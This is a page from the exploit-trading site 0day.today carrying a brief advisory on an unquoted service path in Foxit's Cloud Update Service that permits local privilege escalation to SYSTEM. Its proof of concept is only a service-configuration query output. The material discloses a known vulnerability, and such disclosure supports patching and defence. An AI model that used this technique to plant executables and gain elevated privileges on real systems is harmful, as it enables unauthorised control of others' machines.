0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation
[Foxit Cloud Update Service: https://www.foxitsoftware.com
By Ross Marks: http://www.rossmarks.co.uk
Category: Local
Tested on: Windows 10 x86/x64
1) Unquoted Service Path Privilege Escalation
Foxit reader's "cloud safe update service" installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
PoC:
C:\>sc qc FoxitCloudUpdateService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FoxitCloudUpdateService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\FOXIT SOFTWARE\FOXIT READER\Foxit Cloud\FCUpdateService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Foxit Cloud Safe Update Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# 0day.today [2024-11-14] #